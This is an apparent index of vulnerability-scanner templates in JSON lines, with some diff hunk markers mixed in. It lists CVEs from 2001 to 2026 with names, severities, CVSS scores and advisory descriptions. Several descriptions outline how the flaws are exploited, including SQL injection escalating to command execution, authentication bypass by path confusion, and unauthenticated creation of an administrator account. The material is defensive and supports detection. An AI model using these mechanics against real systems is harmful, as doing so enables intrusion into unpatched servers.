{"ID":"CVE-2026-69084","Info":{"Name":"SiYuan - SQL Execution","Severity":"critical","Description":"SiYuan \u003c= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2026/CVE-2026-69084.yaml"}
{"ID":"CVE-2026-69251","Info":{"Name":"Flowise \u003c 3.1.3 - Remote Code Execution","Severity":"critical","Description":"Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.\n","Classification":{"CVSSScore":"9.0"}},"file_path":"http/cves/2026/CVE-2026-69251.yaml"}
{"ID":"CVE-2026-71209","Info":{"Name":"Audiobookshelf - Authentication Bypass","Severity":"critical","Description":"Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-71209.yaml"}
{"ID":"CVE-2026-71362","Info":{"Name":"Adobe Commerce/Magento - Customer Session Identity Switch","Severity":"critical","Description":"Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-71362.yaml"}
{"ID":"CVE-2026-72898","Info":{"Name":"Metabase - Unauthenticated SQL Injection","Severity":"critical","Description":"Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-72898.yaml"}
{"ID":"CVE-2026-73034","Info":{"Name":"DB-GPT \u003c= 0.8.1 - Arbitrary File Write","Severity":"critical","Description":"DB-GPT through 0.8.1 allows unauthenticated arbitrary file writes via a path traversal in the user_id HTTP header of the POST /api/v1/python/file/upload endpoint, letting attackers escape the intended upload directory and write files anywhere, as confirmed by the reflected upload path in the JSON response.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-73034.yaml"}
{"ID":"CVE-2026-7467","Info":{"Name":"Read More \u0026 Accordion \u003c= 3.5.7 - Authenticated Privilege Escalation","Severity":"high","Description":"The Read More \u0026 Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-7467.yaml"}
{"ID":"CVE-2026-76904","Info":{"Name":"GeoServer jsonArrayContains CQL Filter - SQL Injection","Severity":"critical","Description":"GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should enable the PostGIS DataStore preparedStatements setting and disable encode functions as a workaround.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-76904.yaml"}
{"ID":"CVE-2026-77806","Info":{"Name":"SPIP \u003c 4.4.22 - Unauthenticated RCE","Severity":"critical","Description":"SPIP \u003c 4.4.21 contains a remote code execution caused by mishandling of the X-Spip-Filtre HTTP request header in analyse_resultat_skel, letting unauthenticated remote attackers execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-77806.yaml"}
{"ID":"CVE-2026-7798","Info":{"Name":"WordPress FluentCRM \u003c= 2.9.87 - Unauthenticated Blind SSRF","Severity":"medium","Description":"FluentCRM WordPress plugin \u003c= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2026/CVE-2026-7798.yaml"}
{"ID":"CVE-2026-8037","Info":{"Name":"Progress ADC LoadMaster - Command Injection","Severity":"critical","Description":"OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-8037.yaml"}
{"ID":"CVE-2026-8054","Info":{"Name":"dotCMS Core Publish Audit API - Unauthenticated SQL Injection","Severity":"critical","Description":"dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-8054.yaml"}
{"ID":"CVE-2026-81199","Info":{"Name":"MasterStudy LMS \u003c 3.7.46 - Unauthenticated Student Statistics Disclosure","Severity":"medium","Description":"MasterStudy LMS WordPress plugin before 3.7.46 contains an information disclosure vulnerability caused by missing authorization checks in student learning statistics, letting unauthenticated attackers access sensitive user course data, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-81199.yaml"}
{"ID":"CVE-2026-81578","Info":{"Name":"PaperCut NG/MF \u003c=26.0.4 - Unauthenticated ConfigEditor Access via Tapestry Complex-Direct","Severity":"critical","Description":"PaperCut NG and PaperCut MF versions 24.x through 26.x contain an authentication bypass vulnerability in the Apache Tapestry-based web interface. By crafting a complex-direct service request that specifies the public Home page as the render target while invoking the privileged ConfigEditor page's form listeners, an unauthenticated remote attacker can search and modify server configuration options. PaperCut's access control validates the render page but fails to validate the component page, allowing full configuration access without authentication. When chained with CVE-2026-82078, an attacker reconfigures external user lookup to use a malicious JDBC URL whose initialization SQL evaluates arbitrary Groovy code, achieving unauthenticated remote code execution. This vulnerability is actively exploited in the wild.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-81578.yaml"}
{"ID":"CVE-2026-8181","Info":{"Name":"WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass","Severity":"critical","Description":"Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-8181.yaml"}
{"ID":"CVE-2026-82222","Info":{"Name":"GiveWP \u003c= 4.16.7.1 - Remote Code Execution","Severity":"critical","Description":"GiveWP \u003c= 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-82222.yaml"}
{"ID":"CVE-2026-82329","Info":{"Name":"JFrog Artifactory Access Blank Join Key Authentication Bypass","Severity":"critical","Description":"JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-82329.yaml"}
{"ID":"CVE-2026-8236","Info":{"Name":"Concrete CMS \u003c9.5.1 - Unauthenticated File-Usage Internal Metadata Disclosure","Severity":"medium","Description":"Concrete CMS 9.5.0 and below is vulnerable to IDOR combined with a missing authentication gate. The endpoint /ccm/system/dialogs/file/usage/{fID} accepts an integer file ID in the URL and returns internal site structure data (page IDs, versions, URL paths) to anyone who sends a GET request.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8236.yaml"}
{"ID":"CVE-2026-8237","Info":{"Name":"Concrete CMS \u003c= 9.5.0 - Unauthenticated Conversation Message Disclosure (IDOR)","Severity":"medium","Description":"Concrete CMS \u003c= 9.5.0 contains an IDOR caused by insufficient access control in /ccm/frontend/conversations/message_detail endpoint, letting unauthenticated attackers enumerate conversation messages and attachments.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8237.yaml"}
{"ID":"CVE-2026-8383","Info":{"Name":"LearnPress \u003c 4.3.7 - Information Disclosure","Severity":"medium","Description":"LearnPress WordPress plugin \u003c 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8383.yaml"}
{"ID":"CVE-2026-8385","Info":{"Name":"WordPress WP Go Maps \u003c 10.0.10 - Unauthenticated Marker Data Disclosure","Severity":"medium","Description":"WP Go Maps WordPress plugin \u003c 10.0.10 contains an information disclosure vulnerability caused by improper enforcement of marker approval filter in admin-ajax fallback for datatables route, letting unauthenticated visitors retrieve unapproved marker records.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8385.yaml"}
{"ID":"CVE-2026-8386","Info":{"Name":"WP Go Maps \u003c 10.0.10 - Unauthenticated Marker Information Disclosure","Severity":"medium","Description":"WP Go Maps WordPress plugin \u003c10.0.10 contains an information disclosure vulnerability caused by lack of approval-state filtering on the public single-marker REST endpoint, letting unauthenticated users access unapproved marker records including PII and geographic coordinates, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8386.yaml"}
{"ID":"CVE-2026-85200","Info":{"Name":"GEO my WP \u003c=4.5.5.3 - Unauthenticated Local File Inclusion","Severity":"high","Description":"GEO my WP WordPress plugin \u003c= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-85200.yaml"}
{"ID":"CVE-2026-85706","Info":{"Name":"GitLab CE/EE \u003c=19.1.7/19.2.5/19.3.1 - Arbitrary File Read","Severity":"critical","Description":"GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath() and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or percent-encoding a static path segment as %63ommits therefore bypasses Workhorse upload route rewriting, and Rails reaches file_params_from_body_upload() which opens the path given in the file.path parameter before authenticate! is enforced. On the application/x-www-form-urlencoded branch the file bytes are handed to Rack::Utils.parse_nested_query, and any invalid percent sequence raises an ArgumentError whose message is interpolated into the HTTP 400 response body, disclosing file content to an unauthenticated caller.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-85706.yaml"}
{"ID":"CVE-2026-86206","Info":{"Name":"N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing","Severity":"critical","Description":"A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-86206.yaml"}
{"ID":"CVE-2026-86207","Info":{"Name":"N-able N-central - Authentication Bypass","Severity":"critical","Description":"An authentication bypass in N-central \u003c 2026.3 HF 3 leads to authentication bypass in internal-only APIs.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-86207.yaml"}
{"ID":"CVE-2026-86426","Info":{"Name":"LibreNMS \u003c= 26.7.0 - Unauthenticated API Access","Severity":"critical","Description":"LibreNMS \u003c= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-86426.yaml"}
{"ID":"CVE-2026-8679","Info":{"Name":"WordPress AudioIgniter \u003c= 2.0.2 - Unauthenticated IDOR","Severity":"high","Description":"The AudioIgniter plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.0.2. The handle_playlist_endpoint() function accepted a user-controlled playlist ID and returned track data without authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-8679.yaml"}
{"ID":"CVE-2026-8713","Info":{"Name":"Avada (Fusion) Builder \u003c= 3.15.3 - Unauthenticated Arbitrary File Deletion","Severity":"critical","Description":"The Avada (Fusion) Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the maybe_delete_files function. An unauthenticated attacker can delete arbitrary files on the server by manipulating the file_path parameter in the fusion_form_maybe_delete_files AJAX action. Deleting critical files like wp-config.php can lead to complete site takeover via reinstallation. This template detects the vulnerable version via homepage asset URL versioning (primary) and readme.txt Stable tag (fallback).\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-8713.yaml"}
{"ID":"CVE-2026-8732","Info":{"Name":"WP Maps Pro (wp-google-map-gold) \u003c= 6.1.0 - Unauthenticated Administrator Account Creation","Severity":"critical","Description":"The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-8732.yaml"}
{"ID":"CVE-2026-87820","Info":{"Name":"CyberPanel 2.4.3-2.4.5 - AI Scanner Debug Disclosure","Severity":"medium","Description":"CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata. Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-tenant installations and facilitate follow-on attacks.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-87820.yaml"}
{"ID":"CVE-2026-88062","Info":{"Name":"OmniRoute \u003c 3.8.49 - Unauthenticated RCE","Severity":"critical","Description":"OmniRoute \u003c= 3.8.49 contains a remote code execution caused by insufficient validation of interpreter arguments in the POST /api/acp/agents endpoint, letting remote attackers execute arbitrary code, exploit requires anonymous access when requireLogin is false or management session/API key when true.\n","Classification":{"CVSSScore":"9.5"}},"file_path":"http/cves/2026/CVE-2026-88062.yaml"}
{"ID":"CVE-2026-8839","Info":{"Name":"WordPress MapPress Maps \u003c= 2.96.6 - Unauthenticated IDOR","Severity":"medium","Description":"MapPress Maps for WordPress \u003c= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8839.yaml"}
{"ID":"CVE-2026-8857","Info":{"Name":"MediaWiki EasyTimeline - Code Injection RCE","Severity":"high","Description":"MediaWiki EasyTimeline (Timeline) extension versions before 1.46.0, 1.45.4, 1.44.6, and 1.43.9 contain a code injection vulnerability caused by insufficient neutralization of newlines in TextData text attributes in EasyTimeline.pl / Timeline.php. A crafted \u003ctimeline\u003e block can inject ploticus '#proc getdata' and 'command:' directives, which execute via /bin/sh because EasyTimeline invokes ploticus without the -noshell flag. Exploitation requires the ability to submit timeline markup for rendering — low-privileged edit access, or anonymous access on wikis that allow anonymous editing and API use. This template's parse-based check needs API read access; optional username/password inputs can be supplied for private wikis that deny anonymous read.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-8857.yaml"}
{"ID":"CVE-2026-9082","Info":{"Name":"Drupal Core - Anonymous SQL Injection via PostgreSQL Entity Query","Severity":"critical","Description":"Drupal core from 8.9.0 before 10.4.10, 10.5.0 before 10.5.10, 10.6.0 before 10.6.9, 11.0.0 before 11.1.10, 11.2.0 before 11.2.12, and 11.3.0 before 11.3.10 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-9082.yaml"}
{"ID":"CVE-2026-9133","Info":{"Name":"Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read","Severity":"high","Description":"Amazon rabbitmq-aws versions 0.1.0 through 0.2.0 contain active debug code in the ARN resolver. An authenticated RabbitMQ user with management API access can submit an arn:aws-debug:file ARN to the validation endpoint and read arbitrary files accessible to the RabbitMQ process.\n","Classification":{"CVSSScore":"7.7"}},"file_path":"http/cves/2026/CVE-2026-9133.yaml"}
{"ID":"CVE-2026-9198","Info":{"Name":"IBM Langflow - Remote Code Execution","Severity":"critical","Description":"IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-9198.yaml"}
{"ID":"CVE-2026-9282","Info":{"Name":"W3 Total Cache \u003c= 2.9.4 - Unauthenticated Arbitrary File Read","Severity":"high","Description":"W3 Total Cache WordPress plugin \u003c= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-9282.yaml"}
{"ID":"CVE-2026-9290","Info":{"Name":"WP User Manager – User Profile Builder \u0026 Membership - Local File Inclusion","Severity":"high","Description":"WP User Manager – User Profile Builder \u0026 Membership plugin for WordPress \u003c= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-9290.yaml"}
{"ID":"CVE-2026-44338","Info":{"Name":"PraisonAI - Authentication Bypass","Severity":"high","Description":"PraisonAI 2.5.6 to \u003c 4.6.34 contains a broken authentication caused by disabled default authentication in legacy Flask API server, letting remote attackers access /agents and trigger workflows without token, exploit requires network access to API server.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2026/cve-2026-44338.yaml"}
{"ID":"CVE-2026-44381","Info":{"Name":"MISP \u003c 2.5.37 - SQL Injection","Severity":"medium","Description":"MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/cve-2026-44381.yaml"}
{"ID":"CVE-2026-9506","Info":{"Name":"Bagisto \u003c= 2.4.1 - Unauthenticated Arbitrary File Read","Severity":"high","Description":"Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.\n","Classification":{"CVSSScore":"8.7"}},"file_path":"http/cves/2026/CVE-2026-9506.yaml"}
{"ID":"CVE-2026-9586","Info":{"Name":"Sangoma Switchvox \u003c 8.4.0.2 - Unauthenticated SQL Injection","Severity":"critical","Description":"Sangoma Switchvox before version 8.4.0.2 contains an unauthenticated SQL injection vulnerability in the /pa endpoint (PhoneAppsHandler.pm). The PhoneIP field extracted from an XML POST body is concatenated directly into an unparameterized PostgreSQL query that runs as a database superuser. An attacker can break out of the single-quoted SQL string context and leverage PostgreSQL COPY TO PROGRAM to execute arbitrary operating system commands without authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-9586.yaml"}
{"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
{"ID":"CVE-2004-0437","Info":{"Name":"Titan FTP Server 3.01 - DoS via LIST Command Disconnection","Severity":"medium","Description":"Titan FTP Server version 3.01 build 163 (and possibly other older versions) contains a vulnerability where disconnecting during a LIST -L command may crash the daemon. Remote attackers can cause denial of service by initiating a LIST -L command and then abruptly disconnecting, leading to server instability.\n","Classification":{"CVSSScore":"5"}},"file_path":"network/cves/2004/CVE-2004-0437.yaml"}
{"ID":"CVE-2004-0656","Info":{"Name":"Pure-FTPd ≤ 1.0.18 - DoS via Connection Limit Exhaustion","Severity":"medium","Description":"Pure-FTPd versions ≤ 1.0.18 are vulnerable to denial of service through connection limit exhaustion. The vulnerability occurs in the accept_client function when the maximum number of connections is exceeded, potentially causing the server to become unresponsive or crash.\n","Classification":{"CVSSScore":"5"}},"file_path":"network/cves/2004/CVE-2004-0656.yaml"}
@@ -4142,7 +4355,6 @@
{"ID":"CVE-2020-35359","Info":{"Name":"Pure-FTPd 1.0.48 - Denial of Service","Severity":"high","Description":"Pure-FTPd 1.0.48 is vulnerable to Denial of Service via exhaustion of connections due to lack of proper connection limits.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2020/CVE-2020-35359.yaml"}
{"ID":"CVE-2020-9274","Info":{"Name":"Pure-FTPd ≤ 1.0.49 - DoS via Uninitialized Pointer","Severity":"high","Description":"Pure-FTPd versions ≤ 1.0.49 (\u003e= ~0.96) contain a vulnerability in the init_aliases() function within diraliases.c when processing aliases. This leads to access of an uninitialized pointer, which can cause a denial of service (DoS) condition.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2020/CVE-2020-9274.yaml"}
{"ID":"CVE-2020-9365","Info":{"Name":"Pure-FTPd 1.0.24 - Security Vulnerability","Severity":"medium","Description":"Pure-FTPd 1.0.24 contains security vulnerabilities that could allow attackers to exploit the FTP server. This version is known to have various security issues that could lead to unauthorized access or other security implications.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"network/cves/2020/CVE-2020-9365.yaml"}
{"ID":"CVE-2021-27877","Info":{"Name":"Veritas Backup Exec - Broken Authentication","Severity":"high","Description":"An issue was discovered in Veritas Backup Exec before 21.2. It supports multiple authentication schemes- SHA authentication is one of these. This authentication scheme is no longer used in current versions of the product, but hadn't yet been disabled. An attacker could remotely exploit this scheme to gain unauthorized access to an Agent and execute privileged commands.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"network/cves/2021/CVE-2021-27877.yaml"}
{"ID":"CVE-2021-30047","Info":{"Name":"vsftpd \u003c 3.0.3 - DoS","Severity":"high","Description":"vsftpd before 3.0.3 allows remote attackers to cause a denial of service by sending a crafted FTP command.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2021/CVE-2021-30047.yaml"}
{"ID":"CVE-2021-3122","Info":{"Name":"NCR Command Center Agent 16.3 - Remote Command Execution","Severity":"critical","Description":"CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only on devices with a certain \"misconfiguration.\"\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2021/CVE-2021-3122.yaml"}
{"ID":"CVE-2021-40524","Info":{"Name":"Pure-FTPd 1.0.23 \u003c 1.0.50 - Arbitrary File Upload","Severity":"high","Description":"Pure-FTPd versions 1.0.23 through 1.0.49 contain an arbitrary file upload vulnerability due to max_filesize quota issue, allowing large or unbounded file uploads that can cause server hang or resource exhaustion.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2021/CVE-2021-40524.yaml"}
@@ -4152,6 +4364,7 @@
{"ID":"CVE-2022-31793","Info":{"Name":"muhttpd \u003c=1.1.5 - Local Inclusion","Severity":"high","Description":"muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2022/CVE-2022-31793.yaml"}
{"ID":"CVE-2023-22629","Info":{"Name":"TitanFTP move-file Function ≤ 1.94.1205 - Path Traversal","Severity":"high","Description":"TitanFTP versions up to 1.94.1205 contain a path traversal vulnerability in the move-file function where the newPath parameter is improperly validated. An authenticated user can upload a file and then move it to any location on the server filesystem, potentially allowing arbitrary file placement and system compromise.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"network/cves/2023/CVE-2023-22629.yaml"}
{"ID":"CVE-2023-33246","Info":{"Name":"RocketMQ \u003c= 5.1.0 - Remote Code Execution","Severity":"critical","Description":"For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-33246.yaml"}
{"ID":"CVE-2023-34992","Info":{"Name":"Fortinet FortiSIEM - Unauthenticated Command Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiSIEM versions 7.1.0 through 7.1.1, 7.0.0 through 7.0.2, 6.7.0 through 6.7.8, 6.6.0 through 6.6.3, 6.5.0 through 6.5.2, and 6.4.0 through 6.4.3 allows an unauthenticated attacker to execute unauthorized code or commands via crafted API requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-34992.yaml"}
{"ID":"CVE-2023-37582","Info":{"Name":"Apache RocketMQ - Remote Command Execution","Severity":"critical","Description":"The RocketMQ NameServer component still has a remote command execution vulnerability as the CVE-2023-33246 issue was not completely fixed in version 5.1.1. When NameServer address are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function on the NameServer component to execute commands as the system users that RocketMQ is running as. It is recommended for users to upgrade their NameServer version to 5.1.2 or above for RocketMQ 5.x or 4.9.7 or above for RocketMQ 4.x to prevent these attacks.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-37582.yaml"}
{"ID":"CVE-2023-48788","Info":{"Name":"Fortinet Forticlient Endpoint Management Server - SQL Injection","Severity":"critical","Description":"A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-48788.yaml"}
{"ID":"CVE-2023-51713","Info":{"Name":"ProFTPD \u003c 1.3.8a - DoS via Out-of-Bounds Read","Severity":"high","Description":"ProFTPD versions before 1.3.8a contain a one-byte out-of-bounds read vulnerability in the make_ftp_cmd function within main.c. This vulnerability can lead to a daemon crash, causing denial of service.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2023/CVE-2023-51713.yaml"}
@@ -4162,6 +4375,7 @@
{"ID":"CVE-2025-8286","Info":{"Name":"Güralp Systems FMUS Series - Unauthenticated Access","Severity":"critical","Description":"Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2025/CVE-2025-8286.yaml"}
{"ID":"CVE-2026-23829","Info":{"Name":"Mailpit \u003c 1.28.2 - SMTP CRLF Injection","Severity":"medium","Description":"Mailpit \u003c 1.28 contains a header injection caused by insufficient regex validation of `RCPT TO` and `MAIL FROM` addresses in the SMTP server, letting attackers inject arbitrary SMTP headers, exploit requires crafted email addresses\n","Classification":{"CVSSScore":"5.3"}},"file_path":"network/cves/2026/CVE-2026-23829.yaml"}
{"ID":"CVE-2026-42167","Info":{"Name":"ProFTPD mod_sql - Preauth User Backdoor","Severity":"high","Description":"ProFTPD mod_sql before 1.3.10rc1 contains a remote code execution caused by unsafe username handling with SQL backend commands in USER request logging expansions, letting remote attackers execute arbitrary code, exploit requires SQL backend allowing commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2026/CVE-2026-42167.yaml"}
